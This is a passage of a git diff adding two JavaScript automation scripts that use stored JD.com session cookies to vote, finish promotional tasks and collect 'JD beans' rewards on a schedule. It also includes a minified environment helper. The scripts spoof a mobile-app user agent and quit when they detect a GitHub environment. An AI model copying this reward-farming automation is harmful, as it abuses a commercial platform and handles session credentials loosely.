e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_gold_creator.js b/jd_gold_creator.js new file mode 100644 index 0000000..06ac505 --- /dev/null +++ b/jd_gold_creator.js @@ -0,0 +1,351 @@ +/* +金榜创造营 +活动入口:https://h5.m.jd.com/babelDiy/Zeus/2H5Ng86mUJLXToEo57qWkJkjFPxw/index.html +活动时间:2021-05-21至2021-12-31 +脚本更新时间:2021-05-28 14:20 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +===================quantumultx================ +[task_local] +#金榜创造营 +13 1,22 * * * jd_gold_creator.js, tag=金榜创造营, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +=====================Loon================ +[Script] +cron "13 1,22 * * *" script-path=jd_gold_creator.js, tag=金榜创造营 + +====================Surge================ +金榜创造营 = type=cron,cronexp="13 1,22 * * *",wake-system=1,timeout=3600,script-path=jd_gold_creator.js + +============小火箭========= +金榜创造营 = type=cron,script-path=jd_gold_creator.js, cronexpr="13 1,22 * * *", timeout=3600, enable=true + */ +const $ = new Env('金榜创造营'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]); + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + await main() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function main() { + try { + await goldCreatorTab();//获取顶部主题 + await getDetail(); + await goldCreatorPublish(); + await showMsg(); + } catch (e) { + $.logErr(e) + } +} +function showMsg() { + return new Promise(resolve => { + if ($.beans) { + message += `本次运行获得${$.beans}京豆` + $.msg($.name, '', `【京东账号${$.index}】${$.UserName || $.nickName}\n${message}`); + } + resolve() + }) +} +async function getDetail() { + $.subTitleInfos = $.subTitleInfos.filter(vo => !!vo && vo['hasVoted'] === '0'); + for (let item of $.subTitleInfos) { + console.log(`\n开始给【${item['longTitle']}】主题下的商品进行投票`); + await goldCreatorDetail(item['matGrpId'], item['subTitleId'], item['taskId'], item['batchId']); + await $.wait(2000); + } +} +function goldCreatorTab() { + $.subTitleInfos = []; + return new Promise(resolve => { + const body = {"subTitleId":"","isPrivateVote":"0"}; + const options = taskUrl('goldCreatorTab', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + $.subTitleInfos = data.result.subTitleInfos || []; + let unVoted = $.subTitleInfos.length + console.log(`共有${$.subTitleInfos.length}个主题`); + $.stageId = data.result.mainTitleHeadInfo.stageId; + $.advGrpId = data.result.mainTitleHeadInfo.advGrpId; + await goldCreatorDetail($.subTitleInfos[0]['matGrpId'], $.subTitleInfos[0]['subTitleId'], $.subTitleInfos[0]['taskId'], $.subTitleInfos[0]['batchId'], true); + $.subTitleInfos = $.subTitleInfos.filter(vo => !!vo && vo['hasVoted'] === '0'); + console.log(`已投票${unVoted - $.subTitleInfos.length}主题\n`); + } else { + console.log(`goldCreatorTab 异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +//获取每个主题下面待投票的商品 +function goldCreatorDetail(groupId, subTitleId, taskId, batchId, flag = false) { + $.skuList = []; + $.taskList = []; + $.remainVotes = 0; + return new Promise(resolve => { + const body = { + groupId, + "stageId": $.stageId, + subTitleId, + batchId, + "skuId": "", + "taskId": Number(taskId) + }; + const options = taskUrl('goldCreatorDetail', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + $.remainVotes = data.result.remainVotes || 0; + $.skuList = data.result.skuList || []; + $.taskList = data.result.taskList || []; + $.signTask = data.result.signTask + if (flag) { + await doTask2(batchId); + } else { + console.log(`当前剩余投票次数:${$.remainVotes}`); + await doTask(subTitleId, taskId, batchId); + } + } else { + console.log(`goldCreatorDetail 异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +async function doTask(subTitleId, taskId, batchId) { + $.skuList = $.skuList.filter(vo => !!vo && vo['isVoted'] === 0); + let randIndex = Math.floor(Math.random() * $.skuList.length); + console.log(`给 【${$.skuList[randIndex]['name']}】 商品投票`); + const body = { + "stageId": $.stageId, + subTitleId, + "skuId": $.skuList[randIndex]['skuId'], + "taskId": Number(taskId), + "itemId": "1", + "rankId": $.skuList[randIndex]['rankId'], + "type": 1, + batchId + }; + await goldCreatorDoTask(body); +} +async function doTask2(batchId) { + for (let task of $.taskList) { + task = task.filter(vo => !!vo && vo['taskStatus'] === 1); + for (let item of task) { + console.log(`\n做额外任务:${item['taskName']}`) + const body = {"taskId": item['taskId'], "itemId": item['taskItemInfo']['itemId'], "type": item['taskType'], batchId}; + if (item['taskType'] === 1) { + body['type'] = 2; + } + await goldCreatorDoTask(body); + await $.wait(2000); + } + } + if ($.signTask['taskStatus'] === 1) { + const body = {"taskId": $.signTask['taskId'], "itemId": $.signTask['taskItemInfo']['itemId'], "type": $.signTask['taskType'], batchId}; + await goldCreatorDoTask(body); + } +} +function goldCreatorDoTask(body) { + return new Promise(resolve => { + const options = taskUrl('goldCreatorDoTask', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorDetail API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.taskCode === '0') { + console.log(`成功,获得 ${data.result.lotteryScore}京豆\n`); + if (data.result.lotteryScore) $.beans += parseInt(data.result.lotteryScore); + } else { + console.log(`失败:${data.result['taskMsg']}\n`); + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function goldCreatorPublish() { + return new Promise(resolve => { + $.get(taskUrl('goldCreatorPublish'), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} goldCreatorPublish API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.subCode === '0') { + console.log(data.result.lotteryResult.lotteryCode === '0' ? `揭榜成功:获得${data.result.lotteryResult.lotteryScore}京豆` : `揭榜成功:获得空气~`) + } + } else { + console.log(`揭榜失败:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&clientVersion=10.0.0&client=wh5&eufv=false&uuid=`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_gold_sign.js b/jd_gold_sign.js new file mode 100644 index 0000000..c98fe8d --- /dev/null +++ b/jd_gold_sign.js @@ -0,0 +1,221 @@ +/* +京东金榜 +活动入口:https://h5.m.jd.com/babelDiy/Zeus/2H5Ng86mUJLXToEo57qWkJkjFPxw/index.html +by:小手冰凉 tg:@chianPLA +脚本更新时间:2022-1-5 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +新手写脚本,难免有bug,能用且用。 +===================quantumultx================ +[task_local] +#京东金榜 +13 7 * * * jd_gold_sign.js, tag=京东金榜, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + + */ +const $ = new Env('京东金榜'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; + +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [ + $.getdata("CookieJD"), + $.getdata("CookieJD2"), + ...$.toObj($.getdata("CookiesJD") || "[]").map((item) => item.cookie)].filter((item) => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { "open-url": "https://bean.m.jd.com/" }); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.beans = 0 + $.nickName = ''; + message = ''; + $.UUID = getUUID('xxxxxxxxxxxxxxxx-xxxxxxxxxxxxxxxx'); + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, { "open-url": "https://bean.m.jd.com/" }); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } else { + $.setdata('', `CookieJD${i ? i + 1 : ""}`);//cookie失效,故清空cookie。$.setdata('', `CookieJD${i ? i + 1 : "" }`);//cookie失效,故清空cookie。 + } + continue + } + await goldCreatorDoTask({ "type": 1 }) + await goldCenterHead(); + + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + + +function goldCenterHead() { + return new Promise(resolve => { + const options = taskUrl('goldCenterHead', '{}') + // console.log(options); + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`goldCenterDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.medalNum === 5) { + await $.wait(1500) + await goldCreatorDoTask({ "type": 2 }) + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function goldCreatorDoTask(body) { + return new Promise(resolve => { + const options = taskUrl('goldCenterDoTask', body) + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`goldCenterDoTask API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data) + if (data.code === '0') { + if (data.result.taskCode === '0') { + console.log(`成功,获得 ${data.result.lotteryScore}京豆\n`); + if (data.result.lotteryScore) $.beans += parseInt(data.result.lotteryScore); + } else { + console.log(`失败:${data.result['taskMsg']}\n`); + } + } else { + console.log(`失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=content_ecology&clientVersion=10.2.4&client=wh5&eufv=false&uuid=${$.UUID}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": "https://h5.m.jd.com/", + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://me-api.jd.com/user_new/info/GetJDUserInfoUnion", + headers: { + Host: "me-api.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === "1001") { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === "0" && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + $.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function getUUID(format = 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', UpperCase = 0) { + return format.replace(/[xy]/g, function (c) { + var r = Math.random() * 16 | 0, v = c == 'x' ? r : (r & 0x3 | 0x8); + if (UpperCase) { + uuid = v.toString(36).toUpperCase(); + } else { + uuid = v.toString(36) + } + return uuid; + }); +} +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } 